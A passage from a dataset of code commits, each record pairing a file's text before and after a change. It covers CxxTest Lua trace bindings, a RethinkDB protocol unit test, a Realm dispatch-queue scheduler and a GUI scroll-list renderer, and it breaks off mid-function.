illegal number of arguments\");\n }\n return 0;\n }\n\n int ts_trace(lua_State* L) {\n\n const int nargs = lua_gettop(L);\n\n if (nargs == 3) {\n CxxTest::TestTracker::tracker().trace(luaL_checkstring(L, -3), luaL_checkint(L, -2), luaL_checkstring(L, -1) );\n } else if (nargs >= 1) {\n lua_Debug debug;\n lua_getstack(L, 1, &debug);\n lua_getinfo(L, \"Sl\", &debug);\n CxxTest::TestTracker::tracker().trace( debug.short_src, debug.currentline, luaL_checkstring(L, -1) );\n } else {\n luaL_error(L, \"TS_TRACE called with an illegal number of arguments\");\n }\n return 0;\n }\n\n int ts_warn(lua_State* L) {\n\n const int nargs = lua_gettop(L);\n\n if (nargs == 3) {\n CxxTest::TestTracker::tracker().warning(luaL_checkstring(L, -3), luaL_checkint(L, -2), luaL_checkstring(L, -1) );\n } else if (nargs >= 1) {\n lua_Debug debug;\n lua_getstack(L, 1, &debug);\n lua_getinfo(L, \"Sl\", &debug);\n CxxTest::TestTracker::tracker().warning( debug.short_src, debug.currentline, luaL_checkstring(L, -1) );\n } else {\n luaL_error(L, \"TS_WARN called with an illegal number of arguments\");\n }\n return 0;\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 2010-2012 RethinkDB, all rights reserved.\n#include \"errors.hpp\"\n#include <boost\/make_shared.hpp>\n\n#include \"buffer_cache\/buffer_cache.hpp\"\n#include \"containers\/iterators.hpp\"\n#include \"memcached\/protocol.hpp\"\n#include \"rdb_protocol\/protocol.hpp\"\n#include \"serializer\/config.hpp\"\n#include \"serializer\/translator.hpp\"\n#include \"unittest\/gtest.hpp\"\n#include \"unittest\/dummy_namespace_interface.hpp\"\n\nnamespace unittest {\nnamespace {\n\nvoid run_with_namespace_interface(boost::function<void(namespace_interface_t<rdb_protocol_t> *, order_source_t *)> fun) {\n\n order_source_t order_source;\n\n \/* Pick shards *\/\n std::vector<rdb_protocol_t::region_t> shards;\n shards.push_back(rdb_protocol_t::region_t(key_range_t(key_range_t::none, store_key_t(), key_range_t::open, store_key_t(\"n\"))));\n shards.push_back(rdb_protocol_t::region_t(key_range_t(key_range_t::closed, store_key_t(\"n\"), key_range_t::none, store_key_t() )));\n\n boost::ptr_vector<mock::temp_file_t> temp_files;\n for (size_t i = 0; i < shards.size(); ++i) {\n temp_files.push_back(new mock::temp_file_t(\"\/tmp\/rdb_unittest.XXXXXX\"));\n }\n\n scoped_ptr_t<io_backender_t> io_backender;\n make_io_backender(aio_default, &io_backender);\n\n scoped_array_t<scoped_ptr_t<serializer_t> > serializers(shards.size());\n for (size_t i = 0; i < shards.size(); ++i) {\n filepath_file_opener_t file_opener(temp_files[i].name(), io_backender.get());\n standard_serializer_t::create(&file_opener,\n standard_serializer_t::static_config_t());\n serializers[i].init(new standard_serializer_t(standard_serializer_t::dynamic_config_t(),\n &file_opener,\n &get_global_perfmon_collection()));\n }\n\n boost::ptr_vector<rdb_protocol_t::store_t> underlying_stores;\n rdb_protocol_t::context_t ctx;\n\n for (size_t i = 0; i < shards.size(); ++i) {\n underlying_stores.push_back(new rdb_protocol_t::store_t(serializers[i].get(), temp_files[i].name(), GIGABYTE, true, &get_global_perfmon_collection(), &ctx));\n }\n\n boost::ptr_vector<store_view_t<rdb_protocol_t> > stores;\n for (size_t i = 0; i < shards.size(); ++i) {\n stores.push_back(new store_subview_t<rdb_protocol_t>(&underlying_stores[i], shards[i]));\n }\n\n \/* Set up namespace interface *\/\n dummy_namespace_interface_t<rdb_protocol_t> nsi(shards, stores.c_array(), &order_source);\n\n fun(&nsi, &order_source);\n}\n\nvoid run_in_thread_pool_with_namespace_interface(boost::function<void(namespace_interface_t<rdb_protocol_t> *, order_source_t*)> fun) {\n mock::run_in_thread_pool(boost::bind(&run_with_namespace_interface, fun));\n}\n\n} \/* anonymous namespace *\/\n\n\/* `SetupTeardown` makes sure that it can start and stop without anything going\nhorribly wrong *\/\nvoid run_setup_teardown_test(UNUSED namespace_interface_t<rdb_protocol_t> *nsi, order_source_t *) {\n \/* Do nothing *\/\n}\nTEST(RDBProtocol, SetupTeardown) {\n run_in_thread_pool_with_namespace_interface(&run_setup_teardown_test);\n}\n\n\/* `GetSet` tests basic get and set operations *\/\nvoid run_get_set_test(namespace_interface_t<rdb_protocol_t> *nsi, order_source_t *osource) {\n boost::shared_ptr<scoped_cJSON_t> data(new scoped_cJSON_t(cJSON_CreateNull()));\n {\n rdb_protocol_t::write_t write(rdb_protocol_t::point_write_t(store_key_t(\"a\"), data));\n rdb_protocol_t::write_response_t response;\n\n cond_t interruptor;\n nsi->write(write, &response, osource->check_in(\"unittest::run_get_set_test(rdb_protocol.cc-A)\"), &interruptor);\n\n if (rdb_protocol_t::point_write_response_t *maybe_point_write_response_t = boost::get<rdb_protocol_t::point_write_response_t>(&response.response)) {\n EXPECT_EQ(maybe_point_write_response_t->result, STORED);\n } else {\n ADD_FAILURE() << \"got wrong type of result back\";\n }\n }\n\n {\n rdb_protocol_t::read_t read(rdb_protocol_t::point_read_t(store_key_t(\"a\")));\n rdb_protocol_t::read_response_t response;\n\n cond_t interruptor;\n nsi->read(read, &response, osource->check_in(\"unittest::run_get_set_test(rdb_protocol.cc-B)\"), &interruptor);\n\n if (rdb_protocol_t::point_read_response_t *maybe_point_read_response = boost::get<rdb_protocol_t::point_read_response_t>(&response.response)) {\n EXPECT_TRUE(maybe_point_read_response->data->get() != NULL);\n EXPECT_TRUE(cJSON_Equal(data->get(), maybe_point_read_response->data->get()));\n } else {\n ADD_FAILURE() << \"got wrong result back\";\n }\n }\n}\n\nTEST(RDBProtocol, GetSet) {\n run_in_thread_pool_with_namespace_interface(&run_get_set_test);\n}\n\n} \/* namespace unittest *\/\n\n<commit_msg>Make rdb_protocol unittest work.<commit_after>\/\/ Copyright 2010-2012 RethinkDB, all rights reserved.\n#include \"errors.hpp\"\n#include <boost\/make_shared.hpp>\n\n#include \"buffer_cache\/buffer_cache.hpp\"\n#include \"clustering\/administration\/metadata.hpp\"\n#include \"containers\/iterators.hpp\"\n#include \"memcached\/protocol.hpp\"\n#include \"rdb_protocol\/protocol.hpp\"\n#include \"rpc\/semilattice\/semilattice_manager.hpp\"\n#include \"serializer\/config.hpp\"\n#include \"serializer\/translator.hpp\"\n#include \"unittest\/dummy_namespace_interface.hpp\"\n#include \"unittest\/gtest.hpp\"\n#include \"rpc\/directory\/read_manager.hpp\"\n\nnamespace unittest {\nnamespace {\n\nvoid run_with_namespace_interface(boost::function<void(namespace_interface_t<rdb_protocol_t> *, order_source_t *)> fun) {\n\n order_source_t order_source;\n\n \/* Pick shards *\/\n std::vector<rdb_protocol_t::region_t> shards;\n shards.push_back(rdb_protocol_t::region_t(key_range_t(key_range_t::none, store_key_t(), key_range_t::open, store_key_t(\"n\"))));\n shards.push_back(rdb_protocol_t::region_t(key_range_t(key_range_t::closed, store_key_t(\"n\"), key_range_t::none, store_key_t() )));\n\n boost::ptr_vector<mock::temp_file_t> temp_files;\n for (size_t i = 0; i < shards.size(); ++i) {\n temp_files.push_back(new mock::temp_file_t(\"\/tmp\/rdb_unittest.XXXXXX\"));\n }\n\n scoped_ptr_t<io_backender_t> io_backender;\n make_io_backender(aio_default, &io_backender);\n\n scoped_array_t<scoped_ptr_t<serializer_t> > serializers(shards.size());\n for (size_t i = 0; i < shards.size(); ++i) {\n filepath_file_opener_t file_opener(temp_files[i].name(), io_backender.get());\n standard_serializer_t::create(&file_opener,\n standard_serializer_t::static_config_t());\n serializers[i].init(new standard_serializer_t(standard_serializer_t::dynamic_config_t(),\n &file_opener,\n &get_global_perfmon_collection()));\n }\n\n boost::ptr_vector<rdb_protocol_t::store_t> underlying_stores;\n\n \/* Create some structures for the rdb_protocol_t::context_t, warning some\n * boilerplate is about to follow, avert your eyes if you have a weak\n * stomach for such things. *\/\n extproc::spawner_t::info_t spawner_info;\n extproc::spawner_t::create(&spawner_info);\n extproc::pool_group_t pool_group(&spawner_info, extproc::pool_group_t::DEFAULTS);\n\n int port = mock::randport();\n connectivity_cluster_t c;\n semilattice_manager_t<cluster_semilattice_metadata_t> slm(&c, cluster_semilattice_metadata_t());\n connectivity_cluster_t::run_t cr(&c, mock::get_unittest_addresses(), port, &slm, 0, NULL);\n\n int port2 = mock::randport();\n connectivity_cluster_t c2;\n directory_read_manager_t<cluster_directory_metadata_t> read_manager(&c2);\n connectivity_cluster_t::run_t cr2(&c2, mock::get_unittest_addresses(), port2, &read_manager, 0, NULL);\n\n rdb_protocol_t::context_t ctx(&pool_group, NULL, slm.get_root_view(), &read_manager, generate_uuid());\n\n for (size_t i = 0; i < shards.size(); ++i) {\n underlying_stores.push_back(new rdb_protocol_t::store_t(serializers[i].get(), temp_files[i].name(), GIGABYTE, true, &get_global_perfmon_collection(), &ctx));\n }\n\n boost::ptr_vector<store_view_t<rdb_protocol_t> > stores;\n for (size_t i = 0; i < shards.size(); ++i) {\n stores.push_back(new store_subview_t<rdb_protocol_t>(&underlying_stores[i], shards[i]));\n }\n\n \/* Set up namespace interface *\/\n dummy_namespace_interface_t<rdb_protocol_t> nsi(shards, stores.c_array(), &order_source);\n\n fun(&nsi, &order_source);\n}\n\nvoid run_in_thread_pool_with_namespace_interface(boost::function<void(namespace_interface_t<rdb_protocol_t> *, order_source_t*)> fun) {\n mock::run_in_thread_pool(boost::bind(&run_with_namespace_interface, fun));\n}\n\n} \/* anonymous namespace *\/\n\n\/* `SetupTeardown` makes sure that it can start and stop without anything going\nhorribly wrong *\/\nvoid run_setup_teardown_test(UNUSED namespace_interface_t<rdb_protocol_t> *nsi, order_source_t *) {\n \/* Do nothing *\/\n}\nTEST(RDBProtocol, SetupTeardown) {\n run_in_thread_pool_with_namespace_interface(&run_setup_teardown_test);\n}\n\n\/* `GetSet` tests basic get and set operations *\/\nvoid run_get_set_test(namespace_interface_t<rdb_protocol_t> *nsi, order_source_t *osource) {\n boost::shared_ptr<scoped_cJSON_t> data(new scoped_cJSON_t(cJSON_CreateNull()));\n {\n rdb_protocol_t::write_t write(rdb_protocol_t::point_write_t(store_key_t(\"a\"), data));\n rdb_protocol_t::write_response_t response;\n\n cond_t interruptor;\n nsi->write(write, &response, osource->check_in(\"unittest::run_get_set_test(rdb_protocol.cc-A)\"), &interruptor);\n\n if (rdb_protocol_t::point_write_response_t *maybe_point_write_response_t = boost::get<rdb_protocol_t::point_write_response_t>(&response.response)) {\n EXPECT_EQ(maybe_point_write_response_t->result, STORED);\n } else {\n ADD_FAILURE() << \"got wrong type of result back\";\n }\n }\n\n {\n rdb_protocol_t::read_t read(rdb_protocol_t::point_read_t(store_key_t(\"a\")));\n rdb_protocol_t::read_response_t response;\n\n cond_t interruptor;\n nsi->read(read, &response, osource->check_in(\"unittest::run_get_set_test(rdb_protocol.cc-B)\"), &interruptor);\n\n if (rdb_protocol_t::point_read_response_t *maybe_point_read_response = boost::get<rdb_protocol_t::point_read_response_t>(&response.response)) {\n EXPECT_TRUE(maybe_point_read_response->data->get() != NULL);\n EXPECT_TRUE(cJSON_Equal(data->get(), maybe_point_read_response->data->get()));\n } else {\n ADD_FAILURE() << \"got wrong result back\";\n }\n }\n}\n\nTEST(RDBProtocol, GetSet) {\n run_in_thread_pool_with_namespace_interface(&run_get_set_test);\n}\n\n} \/* namespace unittest *\/\n\n<|endoftext|>"} {"text":"<commit_before><commit_msg>Removed unused cpp file<commit_after><|endoftext|>"} {"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ Copyright 2020 Realm Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include <realm\/util\/to_string.hpp>\n\n#include <atomic>\n#include <dispatch\/dispatch.h>\n#include <objc\/runtime.h>\n#include <pthread.h>\n\nnamespace {\nusing namespace realm;\n\nclass RunLoopScheduler : public util::Scheduler {\npublic:\n RunLoopScheduler(CFRunLoopRef run_loop = nullptr);\n ~RunLoopScheduler();\n\n void notify() override;\n void set_notify_callback(std::function<void()>) override;\n\n bool is_on_thread() const noexcept override;\n bool is_same_as(const Scheduler* other) const noexcept override;\n bool can_deliver_notifications() const noexcept override;\n\nprivate:\n CFRunLoopRef m_runloop;\n CFRunLoopSourceRef m_signal = nullptr;\n};\n\nRunLoopScheduler::RunLoopScheduler(CFRunLoopRef run_loop)\n: m_runloop(run_loop ?: CFRunLoopGetCurrent())\n{\n CFRetain(m_runloop);\n}\n\nRunLoopScheduler::~RunLoopScheduler()\n{\n if (m_signal) {\n CFRunLoopSourceInvalidate(m_signal);\n CFRelease(m_signal);\n }\n CFRelease(m_runloop);\n}\n\nvoid RunLoopScheduler::set_notify_callback(std::function<void ()> callback)\n{\n if (m_signal) {\n CFRunLoopSourceInvalidate(m_signal);\n CFRelease(m_signal);\n m_signal = nullptr;\n }\n\n struct RefCountedRunloopCallback {\n std::function<void()> callback;\n std::atomic<size_t> ref_count;\n };\n\n CFRunLoopSourceContext ctx{};\n ctx.info = new RefCountedRunloopCallback{std::move(callback), {0}};\n ctx.perform = [](void* info) {\n static_cast<RefCountedRunloopCallback*>(info)->callback();\n };\n ctx.retain = [](const void* info) {\n static_cast<RefCountedRunloopCallback*>(const_cast<void*>(info))->ref_count.fetch_add(1, std::memory_order_relaxed);\n return info;\n };\n ctx.release = [](const void* info) {\n auto ptr = static_cast<RefCountedRunloopCallback*>(const_cast<void*>(info));\n if (ptr->ref_count.fetch_add(-1, std::memory_order_acq_rel) == 1) {\n delete ptr;\n }\n };\n\n m_signal = CFRunLoopSourceCreate(kCFAllocatorDefault, 0, &ctx);\n CFRunLoopAddSource(m_runloop, m_signal, kCFRunLoopDefaultMode);\n}\n\nvoid RunLoopScheduler::notify()\n{\n if (!m_signal)\n return;\n\n CFRunLoopSourceSignal(m_signal);\n \/\/ Signalling the source makes it run the next time the runloop gets\n \/\/ to it, but doesn't make the runloop start if it's currently idle\n \/\/ waiting for events\n CFRunLoopWakeUp(m_runloop);\n}\n\nbool RunLoopScheduler::is_on_thread() const noexcept\n{\n return CFRunLoopGetCurrent() == m_runloop;\n}\n\nbool RunLoopScheduler::is_same_as(const Scheduler* other) const noexcept\n{\n auto o = dynamic_cast<const RunLoopScheduler*>(other);\n return (o && (o->m_runloop == m_runloop));\n}\n\nbool RunLoopScheduler::can_deliver_notifications() const noexcept\n{\n \/\/ The main thread may not be in a run loop yet if we're called from\n \/\/ something like `applicationDidFinishLaunching:`, but it presumably will\n \/\/ be in the future\n if (pthread_main_np())\n return true;\n\n \/\/ Current mode indicates why the current callout from the runloop was made,\n \/\/ and is null if a runloop callout isn't currently being processed\n if (auto mode = CFRunLoopCopyCurrentMode(CFRunLoopGetCurrent())) {\n CFRelease(mode);\n return true;\n }\n return false;\n}\n\nclass DispatchQueueScheduler : public util::Scheduler {\npublic:\n DispatchQueueScheduler(dispatch_queue_t queue);\n ~DispatchQueueScheduler();\n\n void notify() override;\n void set_notify_callback(std::function<void()>) override;\n\n bool is_on_thread() const noexcept override;\n bool is_same_as(const Scheduler* other) const noexcept override;\n bool can_deliver_notifications() const noexcept override { return true; }\n\nprivate:\n dispatch_queue_t m_queue = nullptr;\n void (^m_callback)() = nullptr;\n};\n\nstatic const void* c_queue_key = &c_queue_key;\n\nDispatchQueueScheduler::DispatchQueueScheduler(dispatch_queue_t queue)\n: m_queue(queue)\n{\n static auto class_dispatch_queue_serial = objc_getClass(\"OS_dispatch_queue_serial\");\n static auto class_dispatch_queue_main = objc_getClass(\"OS_dispatch_queue_main\");\n auto cls = object_getClass(reinterpret_cast<id>(queue));\n if (cls != class_dispatch_queue_serial && cls != class_dispatch_queue_main) {\n auto msg = util::format(\"Invalid queue '%1' (%2): Realms can only be confined to serial queues or the main queue.\",\n dispatch_queue_get_label(queue) ?: \"<nil>\", class_getName(cls));\n throw std::logic_error(msg);\n }\n dispatch_retain(m_queue);\n if (dispatch_queue_get_specific(m_queue, c_queue_key) == nullptr) {\n dispatch_queue_set_specific(m_queue, c_queue_key, queue, nullptr);\n }\n}\n\nDispatchQueueScheduler::~DispatchQueueScheduler()\n{\n dispatch_release(m_queue);\n if (m_callback)\n Block_release(m_callback);\n}\n\nvoid DispatchQueueScheduler::notify()\n{\n dispatch_async(m_queue, m_callback);\n}\n\nvoid DispatchQueueScheduler::set_notify_callback(std::function<void ()> callback)\n{\n m_callback = Block_copy(^{\n callback();\n });\n}\n\nbool DispatchQueueScheduler::is_on_thread() const noexcept\n{\n return dispatch_get_specific(c_queue_key) == m_queue;\n}\n\nbool DispatchQueueScheduler::is_same_as(const Scheduler* other) const noexcept\n{\n auto o = dynamic_cast<const DispatchQueueScheduler*>(other);\n return (o && (o->m_queue == m_queue));\n}\n\n} \/\/ anonymous namespace\n\nnamespace realm {\nnamespace util {\nstd::shared_ptr<Scheduler> Scheduler::make_default()\n{\n return std::make_shared<RunLoopScheduler>();\n}\n\nstd::shared_ptr<Scheduler> Scheduler::make_runloop(CFRunLoopRef run_loop)\n{\n return std::make_shared<RunLoopScheduler>(run_loop ?: CFRunLoopGetCurrent());\n}\n\nstd::shared_ptr<Scheduler> Scheduler::make_dispatch(void* queue)\n{\n return std::make_shared<DispatchQueueScheduler>(static_cast<dispatch_queue_t>(queue));\n}\n} \/\/ namespace util\n} \/\/ namespace realm\n<commit_msg>Skip validating dispatch queue types on older OSes<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ Copyright 2020 Realm Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include <realm\/util\/to_string.hpp>\n\n#include <atomic>\n#include <dispatch\/dispatch.h>\n#include <objc\/runtime.h>\n#include <pthread.h>\n\nnamespace {\nusing namespace realm;\n\nclass RunLoopScheduler : public util::Scheduler {\npublic:\n RunLoopScheduler(CFRunLoopRef run_loop = nullptr);\n ~RunLoopScheduler();\n\n void notify() override;\n void set_notify_callback(std::function<void()>) override;\n\n bool is_on_thread() const noexcept override;\n bool is_same_as(const Scheduler* other) const noexcept override;\n bool can_deliver_notifications() const noexcept override;\n\nprivate:\n CFRunLoopRef m_runloop;\n CFRunLoopSourceRef m_signal = nullptr;\n};\n\nRunLoopScheduler::RunLoopScheduler(CFRunLoopRef run_loop)\n: m_runloop(run_loop ?: CFRunLoopGetCurrent())\n{\n CFRetain(m_runloop);\n}\n\nRunLoopScheduler::~RunLoopScheduler()\n{\n if (m_signal) {\n CFRunLoopSourceInvalidate(m_signal);\n CFRelease(m_signal);\n }\n CFRelease(m_runloop);\n}\n\nvoid RunLoopScheduler::set_notify_callback(std::function<void ()> callback)\n{\n if (m_signal) {\n CFRunLoopSourceInvalidate(m_signal);\n CFRelease(m_signal);\n m_signal = nullptr;\n }\n\n struct RefCountedRunloopCallback {\n std::function<void()> callback;\n std::atomic<size_t> ref_count;\n };\n\n CFRunLoopSourceContext ctx{};\n ctx.info = new RefCountedRunloopCallback{std::move(callback), {0}};\n ctx.perform = [](void* info) {\n static_cast<RefCountedRunloopCallback*>(info)->callback();\n };\n ctx.retain = [](const void* info) {\n static_cast<RefCountedRunloopCallback*>(const_cast<void*>(info))->ref_count.fetch_add(1, std::memory_order_relaxed);\n return info;\n };\n ctx.release = [](const void* info) {\n auto ptr = static_cast<RefCountedRunloopCallback*>(const_cast<void*>(info));\n if (ptr->ref_count.fetch_add(-1, std::memory_order_acq_rel) == 1) {\n delete ptr;\n }\n };\n\n m_signal = CFRunLoopSourceCreate(kCFAllocatorDefault, 0, &ctx);\n CFRunLoopAddSource(m_runloop, m_signal, kCFRunLoopDefaultMode);\n}\n\nvoid RunLoopScheduler::notify()\n{\n if (!m_signal)\n return;\n\n CFRunLoopSourceSignal(m_signal);\n \/\/ Signalling the source makes it run the next time the runloop gets\n \/\/ to it, but doesn't make the runloop start if it's currently idle\n \/\/ waiting for events\n CFRunLoopWakeUp(m_runloop);\n}\n\nbool RunLoopScheduler::is_on_thread() const noexcept\n{\n return CFRunLoopGetCurrent() == m_runloop;\n}\n\nbool RunLoopScheduler::is_same_as(const Scheduler* other) const noexcept\n{\n auto o = dynamic_cast<const RunLoopScheduler*>(other);\n return (o && (o->m_runloop == m_runloop));\n}\n\nbool RunLoopScheduler::can_deliver_notifications() const noexcept\n{\n \/\/ The main thread may not be in a run loop yet if we're called from\n \/\/ something like `applicationDidFinishLaunching:`, but it presumably will\n \/\/ be in the future\n if (pthread_main_np())\n return true;\n\n \/\/ Current mode indicates why the current callout from the runloop was made,\n \/\/ and is null if a runloop callout isn't currently being processed\n if (auto mode = CFRunLoopCopyCurrentMode(CFRunLoopGetCurrent())) {\n CFRelease(mode);\n return true;\n }\n return false;\n}\n\nclass DispatchQueueScheduler : public util::Scheduler {\npublic:\n DispatchQueueScheduler(dispatch_queue_t queue);\n ~DispatchQueueScheduler();\n\n void notify() override;\n void set_notify_callback(std::function<void()>) override;\n\n bool is_on_thread() const noexcept override;\n bool is_same_as(const Scheduler* other) const noexcept override;\n bool can_deliver_notifications() const noexcept override { return true; }\n\nprivate:\n dispatch_queue_t m_queue = nullptr;\n void (^m_callback)() = nullptr;\n};\n\nstatic const void* c_queue_key = &c_queue_key;\n\nDispatchQueueScheduler::DispatchQueueScheduler(dispatch_queue_t queue)\n: m_queue(queue)\n{\n if (__builtin_available(iOS 12.0, macOS 10.14, tvOS 12.0, watchOS 5.0, *)) {\n static auto class_dispatch_queue_serial = objc_getClass(\"OS_dispatch_queue_serial\");\n static auto class_dispatch_queue_main = objc_getClass(\"OS_dispatch_queue_main\");\n auto cls = object_getClass(reinterpret_cast<id>(queue));\n if (cls != class_dispatch_queue_serial && cls != class_dispatch_queue_main) {\n auto msg = util::format(\"Invalid queue '%1' (%2): Realms can only be confined to serial queues or the main queue.\",\n dispatch_queue_get_label(queue) ?: \"<nil>\", class_getName(cls));\n throw std::logic_error(msg);\n }\n }\n dispatch_retain(m_queue);\n if (dispatch_queue_get_specific(m_queue, c_queue_key) == nullptr) {\n dispatch_queue_set_specific(m_queue, c_queue_key, queue, nullptr);\n }\n}\n\nDispatchQueueScheduler::~DispatchQueueScheduler()\n{\n dispatch_release(m_queue);\n if (m_callback)\n Block_release(m_callback);\n}\n\nvoid DispatchQueueScheduler::notify()\n{\n dispatch_async(m_queue, m_callback);\n}\n\nvoid DispatchQueueScheduler::set_notify_callback(std::function<void ()> callback)\n{\n m_callback = Block_copy(^{\n callback();\n });\n}\n\nbool DispatchQueueScheduler::is_on_thread() const noexcept\n{\n return dispatch_get_specific(c_queue_key) == m_queue;\n}\n\nbool DispatchQueueScheduler::is_same_as(const Scheduler* other) const noexcept\n{\n auto o = dynamic_cast<const DispatchQueueScheduler*>(other);\n return (o && (o->m_queue == m_queue));\n}\n\n} \/\/ anonymous namespace\n\nnamespace realm {\nnamespace util {\nstd::shared_ptr<Scheduler> Scheduler::make_default()\n{\n return std::make_shared<RunLoopScheduler>();\n}\n\nstd::shared_ptr<Scheduler> Scheduler::make_runloop(CFRunLoopRef run_loop)\n{\n return std::make_shared<RunLoopScheduler>(run_loop ?: CFRunLoopGetCurrent());\n}\n\nstd::shared_ptr<Scheduler> Scheduler::make_dispatch(void* queue)\n{\n return std::make_shared<DispatchQueueScheduler>(static_cast<dispatch_queue_t>(queue));\n}\n} \/\/ namespace util\n} \/\/ namespace realm\n<|endoftext|>"} {"text":"<commit_before><commit_msg>Pipe cmd-z back to browser.<commit_after><|endoftext|>"} {"text":"<commit_before>#include \"..\/bitmap.h\"\n#include \"..\/trans-bitmap.h\"\n#include \"scroll-list.h\"\n#include \"..\/font.h\"\n#include <math.h>\n#include \"..\/debug.h\"\n\nnamespace Gui{\n\nstatic const double FONT_SPACER = 1.3;\nstatic const int GradientMax = 50;\n\ndouble SCROLL_STEP = 20;\ndouble SCROLL_MOTION = 2;\nconst int SCROLL_WAIT = 4;\n\nstatic int selectedGradientStart(){\n static int color = Graphics::makeColor(19, 167, 168);\n return color;\n}\n\nstatic int selectedGradientEnd(){\n static int color = Graphics::makeColor(27, 237, 239);\n return color;\n}\n \nScrollItem::ScrollItem(){\n}\n\nScrollItem::~ScrollItem(){\n}\n\nScrollList::ScrollList():\ncurrentIndex(0),\nfontSpacingX(0),\nfontSpacingY(0),\ncurrentPosition(0),\nscrollWait(0),\nselectedGradient(GradientMax, selectedGradientStart(), selectedGradientEnd()),\nuseGradient(false),\nuseHighlight(false),\nallowWrap(true),\nscroll(0){}\n\nScrollList::ScrollList(const ScrollList & copy):\ncurrentIndex(copy.currentIndex),\nfontSpacingX(copy.fontSpacingX),\nfontSpacingY(copy.fontSpacingY),\ncurrentPosition(copy.currentPosition),\nscrollWait(copy.scrollWait),\nselectedGradient(GradientMax, selectedGradientStart(), selectedGradientEnd()),\nuseGradient(copy.useGradient),\nuseHighlight(copy.useHighlight),\nallowWrap(true),\nscroll(0){}\n\nScrollList::~ScrollList(){}\n\nScrollList & ScrollList::operator=(const ScrollList & copy){\n return *this;\n}\n\nvoid ScrollList::act(){\n if (scrollWait == 0){\n if (scroll > SCROLL_MOTION){\n scroll -= SCROLL_MOTION;\n } else if (scroll < -SCROLL_MOTION){\n scroll += SCROLL_MOTION;\n } else {\n scroll = 0;\n currentPosition = currentIndex;\n }\n } else {\n scrollWait -= 1;\n }\n\n \/*\n if (scrollWait > 0){\n scrollWait -= 1;\n } else {\n currentPosition = currentIndex;\n }\n *\/\n}\n\n\/* this is the smooth scroll stuff from context-box *\/\nvoid ScrollList::doDraw(int x, int y, int middle_x, int min_y, int max_y, const Font & font, int current, int selected, const Graphics::Bitmap & area, int direction){\n int fadeAlpha = 255;\n while (y < max_y && y > min_y){\n int pick = current;\n while (pick < 0){\n pick += text.size();\n }\n pick = pick % text.size();\n\n Util::ReferenceCount<ScrollItem> option = text[pick];\n const int startx = middle_x - option->size(font) \/ 2;\n\n \/* draw current selection, make it glow *\/\n if (current == selected){\n Graphics::Bitmap::transBlender(0, 0, 0, fadeAlpha);\n Graphics::TranslucentBitmap translucent(area);\n const int color = useGradient ? selectedGradient.current() : selectedGradientStart();\n option->draw(x + startx, y, color, translucent, font);\n#if 0\n if (option->isAdjustable()){\n const int triangleSize = 14;\n int cx = startx - 15;\n int cy = (int)(y + (font.getHeight()\/FONT_SPACER) \/ 2 + 2);\n\n \/* do the triangles need to be translucent? *\/\n translucent.equilateralTriangle(cx, cy, 180, triangleSize, option->getLeftColor());\n\n cx = (x + startx + font.textLength(option->getName().c_str()))+15;\n translucent.equilateralTriangle(cx, cy, 0, triangleSize, option->getRightColor());\n }\n#endif\n } else {\n \/* draw some other item, and fade it *\/\n int count = (int) fabs((double) current - (double) selected);\n \/* TODO: maybe scale by the number of total items instead of using 35 *\/\n int textAlpha = fadeAlpha - (count * 35);\n if (textAlpha < 0){\n textAlpha = 0;\n }\n Graphics::Bitmap::transBlender(0, 0, 0, textAlpha);\n const int color = Graphics::makeColor(255,255,255);\n option->draw(x + startx, y, color, area.translucent(), font);\n \/\/ font.printf(x + startx, y, color, area.translucent(), option->getName(), 0);\n }\n\n if (text.size() == 1){\n return;\n }\n\n current += direction;\n y += direction * font.getHeight() \/ FONT_SPACER;\n }\n}\n\nvoid ScrollList::render(const Graphics::Bitmap & where, const Font & font){\n\n SCROLL_STEP = font.getHeight() \/ 2;\n SCROLL_MOTION = SCROLL_STEP \/ 8;\n \n \/\/ Global::debug(0) << \"Scroll is \" << scroll << std::endl;\n int y = where.getHeight() \/ 2 + scroll - font.getHeight() \/ 2;\n int min_y = 0 - font.getHeight() \/ FONT_SPACER;\n int max_y = where.getHeight();\n\n doDraw(0, y, where.getWidth() \/ 2, min_y, max_y, font, currentIndex, currentIndex, where, 1);\n\n \/* draw above the current selection *\/\n doDraw(0, y - font.getHeight() \/ FONT_SPACER, 